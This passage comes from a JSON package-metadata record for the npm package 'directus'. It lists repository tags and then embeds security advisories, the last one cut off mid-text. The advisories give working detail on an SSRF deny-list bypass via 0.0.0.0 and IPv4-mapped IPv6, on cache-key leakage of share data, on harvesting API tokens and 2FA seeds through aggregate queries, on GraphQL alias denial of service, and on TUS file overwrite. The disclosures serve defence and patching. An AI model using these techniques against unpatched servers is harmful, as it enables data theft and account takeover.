ifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.2.0/manifests"},{"name":"6.1.1","sha":"46110ddb0cbb4c8402eaf9180a3553809924f69a","kind":"commit","published_at":"2016-02-29T04:06:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.1.1","html_url":"https://github.com/directus/directus/releases/tag/6.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.1.1/manifests"},{"name":"6.1.0","sha":"4ef5c97a0e1d29ff988829501c457e6e3de5998c","kind":"commit","published_at":"2016-02-20T01:31:18.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.1.0","html_url":"https://github.com/directus/directus/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.1.0/manifests"},{"name":"6.0.7","sha":"3c56cd3efb4f1bd5726dc1c95d4feb836b02b671","kind":"commit","published_at":"2016-01-20T02:27:38.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.0.7","html_url":"https://github.com/directus/directus/releases/tag/6.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.7/manifests"},{"name":"6.0.6","sha":"d1865818076eb8cd8001f4b1599cc28c13b1e2e0","kind":"commit","published_at":"2016-01-13T03:18:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.0.6","html_url":"https://github.com/directus/directus/releases/tag/6.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.6/manifests"},{"name":"6.0.5","sha":"f064516bf8374e72771749a0a76bed39d65cca3a","kind":"commit","published_at":"2015-12-21T23:39:55.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/6.0.5","html_url":"https://github.com/directus/directus/releases/tag/6.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@6.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/6.0.5/manifests"},{"name":"LATEST_STABLE_6_1","sha":"ed6c612f8b953774a2855d27aec167f38a927a85","kind":"tag","published_at":"2014-09-13T02:41:29.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/LATEST_STABLE_6_1","html_url":"https://github.com/directus/directus/releases/tag/LATEST_STABLE_6_1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@LATEST_STABLE_6_1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/LATEST_STABLE_6_1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/LATEST_STABLE_6_1/manifests"},{"name":"Final_Before_New_UI","sha":"4e81fdf5dbc238f410ee0bdf76aacfa03062e433","kind":"tag","published_at":"2014-05-23T21:53:39.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/Final_Before_New_UI","html_url":"https://github.com/directus/directus/releases/tag/Final_Before_New_UI","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@Final_Before_New_UI","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/Final_Before_New_UI","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/Final_Before_New_UI/manifests"},{"name":"acl-group-catch-all-rule","sha":"2fc41e9d5e7556ea54666306c17ddb8743118f9c","kind":"commit","published_at":"2013-12-04T00:47:57.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/acl-group-catch-all-rule","html_url":"https://github.com/directus/directus/releases/tag/acl-group-catch-all-rule","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@acl-group-catch-all-rule","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/acl-group-catch-all-rule","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/acl-group-catch-all-rule/manifests"},{"name":"pre-develop-merge","sha":"80e317d7978547ceab3b8c0ee9ddf6fe899fb68c","kind":"commit","published_at":"2013-11-13T16:43:14.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/pre-develop-merge","html_url":"https://github.com/directus/directus/releases/tag/pre-develop-merge","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@pre-develop-merge","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/pre-develop-merge","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/pre-develop-merge/manifests"},{"name":"aug-30","sha":"53a2cad84a75eb3a169ba4e4fff5465af29f314c","kind":"commit","published_at":"2013-08-28T23:16:43.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/aug-30","html_url":"https://github.com/directus/directus/releases/tag/aug-30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@aug-30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/aug-30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/aug-30/manifests"},{"name":"feature/alerts","sha":"5089e14f8073988dd59730526b083d1a9d72bcd2","kind":"commit","published_at":"2013-07-17T17:16:03.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/feature/alerts","html_url":"https://github.com/directus/directus/releases/tag/feature/alerts","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@feature%2Falerts","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/feature%2Falerts","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/feature%2Falerts/manifests"},{"name":"v6.0alpha-pre-db-refactor","sha":"896ededf69d37dc61e8638b123dba8d872d490de","kind":"tag","published_at":"2013-03-28T17:24:24.000Z","download_url":"https://codeload.github.com/directus/directus/tar.gz/v6.0alpha-pre-db-refactor","html_url":"https://github.com/directus/directus/releases/tag/v6.0alpha-pre-db-refactor","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/directus/directus@v6.0alpha-pre-db-refactor","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v6.0alpha-pre-db-refactor","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/directus%2Fdirectus/tags/v6.0alpha-pre-db-refactor/manifests"}]},"repo_metadata_updated_at":"2026-11-05T02:41:09.607Z","dependent_packages_count":16,"downloads":82918,"downloads_period":"last-month","dependent_repos_count":115,"rankings":{"downloads":1.0242856078460592,"dependent_repos_count":1.3528895494683606,"dependent_packages_count":1.4128083941841065,"stargazers_count":0.5893153505178462,"forks_count":0.6216676120249575,"docker_downloads_count":1.0103492286763438,"average":1.0018859571196124},"purl":"pkg:npm/directus","advisories":[{"uuid":"GSA_kwCzR0hTQS1jNnc5LTVnNWotamgycM4ABcQz","url":"https://github.com/advisories/GHSA-c6w9-5g5j-jh2p","title":"Directus: Authorization-dependent response served from unsegmented cache key","description":"## Summary\n\nWhen response caching is enabled (`CACHE_ENABLED=true`), the cache-key derivation in `api/src/utils/get-cache-key.ts` includes only `version`, `path`, `query`, and `accountability.user` (plus a conditional `ip`). Authorization context beyond `user` (`share`, `role`, `roles`, `admin`, `app`, `policies`) is not part of the key.\n\nFor share tokens this is load-bearing. Directus's share-authentication flow (`api/src/services/shares.ts:100-105`) issues a JWT without an `id` claim, so `api/src/utils/get-accountability-for-token.ts` never assigns `accountability.user`, leaving it `null` (the default from `create-default-accountability.ts`). Every share token, and every anonymous request, therefore reduces to `user: null` in the cache-key input. Two different shares (or an anonymous request and a share token) requesting the same URL with the same query produce identical cache keys. The first request populates the bucket with a permission-filtered response; subsequent hits from unrelated shares or anonymous clients receive that payload without any permission re-evaluation.\n\nThis is the web-cache pattern \"authorization-dependent response cached under an unsegmented key\" (cache key collision / missing authorization context in cache key, CWE-524 and CWE-639). Two adjacent read populations collide:\n\n- **Share to share:** `Share A` populates the cache, `Share B` reads `Share A`'s scoped response.\n- **Share to anonymous** (and the reverse): any unauthenticated client hitting the same URL retrieves cached share-scoped data without presenting any token.\n\n## Affected\n\n- Config required: `CACHE_ENABLED=true` (any store: memory, redis, memcached) plus at least one active `directus_shares` row. This is not a default-on bug: `CACHE_ENABLED` ships as `false`. The cache is documented as a production performance setting, so operators who enable it are the ones affected.\n\n## Vulnerability class\n\n- **CWE-524:** Use of Cache Containing Sensitive Information\n- **CWE-639:** Authorization Bypass Through User-Controlled Key (the key here is the derived cache key, not the URL)\n- **OWASP API3:2023:** Broken Object Property Level Authorization\n\n## Impact\n\n- **Cross-share confidentiality breach.** Any share's filtered response can be served to a holder of a different share token, or to an anonymous request, that hits the same URL and query. Shares are advertised as a mechanism to distribute scoped, read-only access to specific items; this bug makes every cached share response readable by any other share-token holder who can reach the URL (the item-detail admin UI uses a predictable pattern).\n- **Anonymous request can read share data.** Anonymous requests also compute `user=null`. An anonymous client hitting `/items/articles?fields=*` after a share request has populated the cache receives the share's scoped payload with zero authentication.\n- **Password-protected share, derivative effect.** Password protection lives only at `shares.login` (JWT issuance). Once any share has populated the cache for a URL, an anonymous or alternate-share request to that URL retrieves the cached payload without exchanging the share password. This is the same cache-key collision surfacing as a password-protection bypass symptom, not a distinct mechanism.\n- **Persistence.** The leak persists for the `CACHE_TTL` window (commonly 5 to 30 minutes). `CACHE_AUTO_PURGE` clears on mutating writes to cached collections but does not purge per-user or per-share. With `CACHE_STORE=redis` (common in production) the poisoned bucket survives server restarts.\n- **No write impact.** The bypass is read-only.\n\nScope of the leak depends on the share's permission surface. A share with no backing role (`directus_shares.role = null`, the default) collapses visibility to the primary key, so the cache leaks only PKs. A share backed by a role with broader field access (the intended production setup for distributing useful content) leaks the full content that role can see on the scoped item.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:48:15.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-c6w9-5g5j-jh2p","https://nvd.nist.gov/vuln/detail/CVE-2026-61836","https://github.com/directus/directus/pull/27707","https://github.com/directus/directus/commit/7ba4efb97525d3af33570537c76e44baea767f13","https://github.com/directus/directus/releases/tag/v12.0.0","https://github.com/advisories/GHSA-c6w9-5g5j-jh2p"],"source_kind":"github","identifiers":["GHSA-c6w9-5g5j-jh2p","CVE-2026-61836"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-11-06T02:02:30.798Z","epss_percentage":0.00474,"epss_percentile":0.40712,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNnc5LTVnNWotamgycM4ABcQz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNnc5LTVnNWotamgycM4ABcQz","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"12.0.0","vulnerable_version_range":"\u003c 12.0.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNnc5LTVnNWotamgycM4ABcQz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNWg2LXZxYzMtcGhxaM4ABcQy","url":"https://github.com/advisories/GHSA-j5h6-vqc3-phqh","title":"Directus: SSRF Protection Bypass via 0.0.0.0 in File Import","description":"### Summary\n\nThe SSRF protection on Directus's file-import-from-URL feature can be bypassed using the address `0.0.0.0`. While `127.0.0.1` and other internal addresses are denied, `0.0.0.0` is not added to the blocklist. On Linux and macOS, connecting to `0.0.0.0` reaches localhost, so an authenticated user with file-upload rights can make the server fetch internal services and retrieve the response as a downloadable file (full-read SSRF).\n\n### Affected Versions\n\n- **Affected:** Directus `\u003c= 12.0.0` (confirmed on `directus/directus:latest`, v11.17.3, with default configuration)\n- **Patched:** Directus `\u003e= 12.0.0`\n\n### Details\n\nDirectus uses a deny-list config, `IMPORT_IP_DENY_LIST`, whose default value is `['0.0.0.0', '169.254.169.254']`.\n\nThe issue is in how `api/src/request/is-denied-ip.ts` processes this list. When it encounters the entry `0.0.0.0`, it treats it as a special keyword meaning \"block all local network interfaces,\" but it never blocks the literal address `0.0.0.0` itself. The handler sets the network-interface flag and skips to the next entry without adding `0.0.0.0` to the blocklist.\n\nWhat actually gets blocked is the loopback subnet `127.0.0.0/8` (from the `lo` interface) plus whatever addresses are assigned to the machine's network interfaces. The address `0.0.0.0` is not inside `127.0.0.0/8`; it belongs to the separate `0.0.0.0/8` range. So a request to `http://0.0.0.0:8055/` passes the blocklist check as \"allowed.\"\n\nAt the OS level, however, connecting to `0.0.0.0` reaches localhost, functionally equivalent to `127.0.0.1`. The same gap applies to the IPv6 unspecified address `::`. As a result, the SSRF protection is bypassed.\n\n### Impact\n\nAn authenticated user with create permission on `directus_files` (file-upload rights) can make the server issue requests to its own localhost via the `/files/import` endpoint. The response body is stored as a downloadable file, making this a full-read SSRF. On bare-metal or single-host deployments, this can reach databases, caches, and internal APIs bound to localhost. This bypass defeats the protections tracked as CVE-2026-35409 and CVE-2024-46990.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:47:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-j5h6-vqc3-phqh","https://nvd.nist.gov/vuln/detail/CVE-2026-61835","https://github.com/directus/directus/pull/27606","https://github.com/directus/directus/commit/f75b25fa44b05c6022b20f231c20bc6e50f021d7","https://github.com/directus/directus/releases/tag/v12.0.0","https://github.com/advisories/GHSA-j5h6-vqc3-phqh"],"source_kind":"github","identifiers":["GHSA-j5h6-vqc3-phqh","CVE-2026-61835"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.023Z","updated_at":"2026-11-06T02:02:30.799Z","epss_percentage":0.00407,"epss_percentile":0.34737,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWg2LXZxYzMtcGhxaM4ABcQy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNWg2LXZxYzMtcGhxaM4ABcQy","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"12.0.0","vulnerable_version_range":"\u003c 12.0.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNWg2LXZxYzMtcGhxaM4ABcQy/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOGhnLXd3NjQtcnJ3Y84ABUui","url":"https://github.com/advisories/GHSA-38hg-ww64-rrwc","title":"Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries","description":"### Summary\n\nAggregate functions (`min`, `max`) applied to fields with the `conceal` special type incorrectly return raw database values instead of the masked placeholder. When combined with `groupBy`, any authenticated user with read access to the affected collection can extract concealed field values, including static API tokens and two-factor authentication secrets from `directus_users`.\n\n### Details\n\nFields marked with `conceal` are protected by payload processing logic that replaces real values with a masked placeholder on read. This protection works correctly for standard item queries, but aggregate query results are structured differently, operations are nested under their function name rather than appearing as flat field keys. The masking logic does not account for this nested structure, causing it to silently skip concealed fields in aggregate responses and return their raw values to the client.\n\n### Impact\n\n- **Account Takeover** An authenticated attacker can harvest static API tokens for all users, including administrators, enabling immediate authentication as any account without credentials.\n\n- **2FA Bypass** TOTP seeds stored in directus_users can similarly be extracted, allowing an attacker to bypass two-factor authentication for any account.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:13:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-38hg-ww64-rrwc","https://nvd.nist.gov/vuln/detail/CVE-2026-35442","https://github.com/advisories/GHSA-38hg-ww64-rrwc"],"source_kind":"github","identifiers":["GHSA-38hg-ww64-rrwc","CVE-2026-35442"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.186Z","updated_at":"2026-11-06T02:04:48.992Z","epss_percentage":0.00343,"epss_percentile":0.27917,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGhnLXd3NjQtcnJ3Y84ABUui","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOGhnLXd3NjQtcnJ3Y84ABUui","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGhnLXd3NjQtcnJ3Y84ABUui/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02cTIyLWcyOTgtZ3JqaM4ABUuh","url":"https://github.com/advisories/GHSA-6q22-g298-grjh","title":"Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver","description":"## Summary\n\nThe GraphQL specification permits a single query to repeat the same field multiple times using aliases, with each alias resolved independently by default. Directus did not deduplicate resolver invocations within a single request, meaning each alias triggered a full, independent execution of the underlying resolver.\n\nThe health check resolver ran all backend checks (database connectivity, cache, storage writes, and SMTP verification) on every invocation. Combined with unauthenticated access to the system GraphQL endpoint, this allowed an attacker to amplify resource consumption significantly from a single HTTP request, exhausting the database connection pool, storage I/O, and SMTP connections.\n\n## Fix\n\nA request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases an attacker includes in a query.\n\n## Impact\n\n- **Service degradation or outage:** Database connection pool exhaustion prevents all Directus operations for all users\n- **Storage I/O saturation:** Concurrent file writes can overwhelm disk I/O\n- **SMTP resource exhaustion:** Concurrent SMTP verification calls may overwhelm the mail server\n- **No authentication required:** Any network-accessible attacker can trigger this condition\n- **Single-request impact:** A single request is sufficient to cause significant resource consumption\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:13:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-6q22-g298-grjh","https://github.com/advisories/GHSA-6q22-g298-grjh"],"source_kind":"github","identifiers":["GHSA-6q22-g298-grjh"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.186Z","updated_at":"2026-11-06T02:04:48.993Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cTIyLWcyOTgtZ3JqaM4ABUuh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02cTIyLWcyOTgtZ3JqaM4ABUuh","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02cTIyLWcyOTgtZ3JqaM4ABUuh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1waDUyLTY3ZnEtNzV3as4ABUug","url":"https://github.com/advisories/GHSA-ph52-67fq-75wj","title":"Directus: GraphQL Alias Amplification Denial of Service Due to Missing Query Cost/Complexity Limits","description":"### Summary\n\nDirectus' GraphQL endpoints (`/graphql` and `/graphql/system`) did not deduplicate resolver invocations within a single request. An authenticated user could exploit GraphQL aliasing to repeat an expensive relational query many times in a single request, forcing the server to execute a large number of independent complex database queries concurrently, multiplying database load linearly with the number of aliases. The existing token limit on GraphQL queries still permitted enough aliases for significant resource exhaustion, while the relational depth limit applied per alias without reducing the total number executed. Rate limiting is disabled by default, meaning no built-in throttle prevented this from causing CPU, memory, and I/O exhaustion that could degrade or crash the service. Any authenticated user, including those with minimal read-only permissions, could trigger this condition.\n\n### Fix\n\nA request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases a query contains.\n\n### Impact\n\n- **Service degradation or outage:** Concurrent complex database queries exhaust the connection pool and server resources, affecting all users\n- **Low privilege required:** Any authenticated user, including those with read-only access to a single collection, can trigger this condition\n- **Linear scaling:** Impact scales with the number of aliases and depth of relational queries\n- **Compounded by concurrency:** Multiple simultaneous requests multiply the effect further","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-04T06:12:52.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/directus/directus/security/advisories/GHSA-ph52-67fq-75wj","https://nvd.nist.gov/vuln/detail/CVE-2026-35441","https://github.com/advisories/GHSA-ph52-67fq-75wj"],"source_kind":"github","identifiers":["GHSA-ph52-67fq-75wj","CVE-2026-35441"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.186Z","updated_at":"2026-11-06T02:04:48.993Z","epss_percentage":0.00368,"epss_percentile":0.30689,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waDUyLTY3ZnEtNzV3as4ABUug","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1waDUyLTY3ZnEtNzV3as4ABUug","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1waDUyLTY3ZnEtNzV3as4ABUug/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdnY4LXY0amotZzQ3as4ABUuf","url":"https://github.com/advisories/GHSA-mvv8-v4jj-g47j","title":"Directus: Sensitive fields exposed in revision history","description":"### Summary\n\nDirectus stores revision records (in `directus_revisions`) whenever items are created or updated. Due to the revision snapshot code not consistently calling the `prepareDelta` sanitization pipeline, sensitive fields (including user tokens, two-factor authentication secrets, external auth identifiers, auth data, stored credentials, and AI provider API keys) could be stored in plaintext within revision records.\n\n### Impact\nAny user or service account with read access to `directus_revisions` (or flow logs) could retrieve values for fields that are supposed to be concealed or encrypted at rest, including:\n- `token`, `tfa_secret`, `external_identifier`, `auth_data`, `credentials`\n- `ai_openai_api_key`, `ai_anthropic_api_key`, `ai_google_api_key`, `ai_openai_compatible_api_key`\n\nThis could lead to account takeover (via stolen tokens or 2FA secrets) or unauthorized use of third-party API keys stored against users.\n\n### Affected code paths\n\n1. **Item create/update revisions** The data (snapshot) field written to directus_revisions was not processed through prepareDelta, so concealed/encrypted fields were stored without redaction. Relational fields were also included, which should have been excluded.\n2. **Authentication service** When a user was auto-suspended after repeated failed login attempts, the revision record was created with the raw user object (including all sensitive fields) rather than the sanitized delta.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-04T06:12:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/directus/directus/security/advisories/GHSA-mvv8-v4jj-g47j","https://nvd.nist.gov/vuln/detail/CVE-2026-39943","https://github.com/directus/directus/releases/tag/v11.17.0","https://github.com/advisories/GHSA-mvv8-v4jj-g47j"],"source_kind":"github","identifiers":["GHSA-mvv8-v4jj-g47j","CVE-2026-39943"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.186Z","updated_at":"2026-11-06T02:04:48.994Z","epss_percentage":0.0017,"epss_percentile":0.06295,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdnY4LXY0amotZzQ3as4ABUuf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdnY4LXY0amotZzQ3as4ABUuf","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.17.0","vulnerable_version_range":"\u003c 11.17.0"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdnY4LXY0amotZzQ3as4ABUuf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xcW12LTVwM2ctcHg4Oc4ABUue","url":"https://github.com/advisories/GHSA-qqmv-5p3g-px89","title":"Directus: TUS Upload Authorization Bypass Allows Arbitrary File Overwrite","description":"## Summary\n\nDirectus' TUS resumable upload endpoint (`/files/tus`) allows any authenticated user with basic file upload permissions to overwrite arbitrary existing files by UUID. The TUS controller performs only collection-level authorization checks, verifying the user has some permission on `directus_files`, but never validates item-level access to the specific file being replaced. As a result, row-level permission rules (e.g., \"users can only update their own files\") are completely bypassed via the TUS path while being correctly enforced on the standard REST upload path.\n\n## Impact\n\n- **Arbitrary file overwrite:** Any authenticated user with basic TUS upload permissions can overwrite any file in `directus_files` by UUID, regardless of row-level permission rules.\n- **Permanent data loss:** The victim file's original stored bytes are deleted from storage and replaced with attacker-controlled content.\n- **Metadata corruption:** The victim file's database record is updated with the attacker's filename, type, and size metadata.\nPrivilege escalation potential: If admin-owned files (e.g., application assets, templates) are stored in `directus_files`, a low-privilege user could replace them with malicious content.\n\n## Workaround\n\nDisable TUS uploads by setting `TUS_ENABLED=false` if resumable uploads are not required.\n\n## Credit\n\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-04T06:11:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","references":["https://github.com/directus/directus/security/advisories/GHSA-qqmv-5p3g-px89","https://nvd.nist.gov/vuln/detail/CVE-2026-35412","https://github.com/advisories/GHSA-qqmv-5p3g-px89"],"source_kind":"github","identifiers":["GHSA-qqmv-5p3g-px89","CVE-2026-35412"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-04T07:00:10.186Z","updated_at":"2026-11-06T02:04:48.994Z","epss_percentage":0.00308,"epss_percentile":0.23659,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcW12LTVwM2ctcHg4Oc4ABUue","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcW12LTVwM2ctcHg4Oc4ABUue","packages":[{"ecosystem":"npm","package_name":"directus","versions":[{"first_patched_version":"11.16.1","vulnerable_version_range":"\u003c 11.16.1"}],"purl":"pkg:npm/directus"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcW12LTVwM2ctcHg4Oc4ABUue/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13djNoLTVmeDctOTY2aM4ABUud","url":"https://github.com/advisories/GHSA-wv3h-5fx7-966h","title":"Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import","description":"### Summary\nA Server-Side Request Forgery (SSRF) protection bypass has been identified and fixed in Directus. The IP address validation mechanism used to block requests to local and private networks could be circumvented using IPv4-Mapped IPv6 address notation.\n\n### Details\nDirectus implements an IP deny-list to prevent server-side requests to internal/private network ranges. The validation logic failed to normalize IPv4-Mapped IPv6 addresses (e.g., the IPv6 representation of `127.0.0.1`) before checking them against the deny-list. Because the deny-list check did not recognize these mapped addresses as equivalent to their IPv4 counterparts, an attacker could bypass the restriction while the underlying HTTP client and operating system still resolved and connected to the intended private target.\n\nThis has been fixed by adding a normalization step that converts IPv4-Mapped IPv6 addresses to their canonical IPv4 form prior 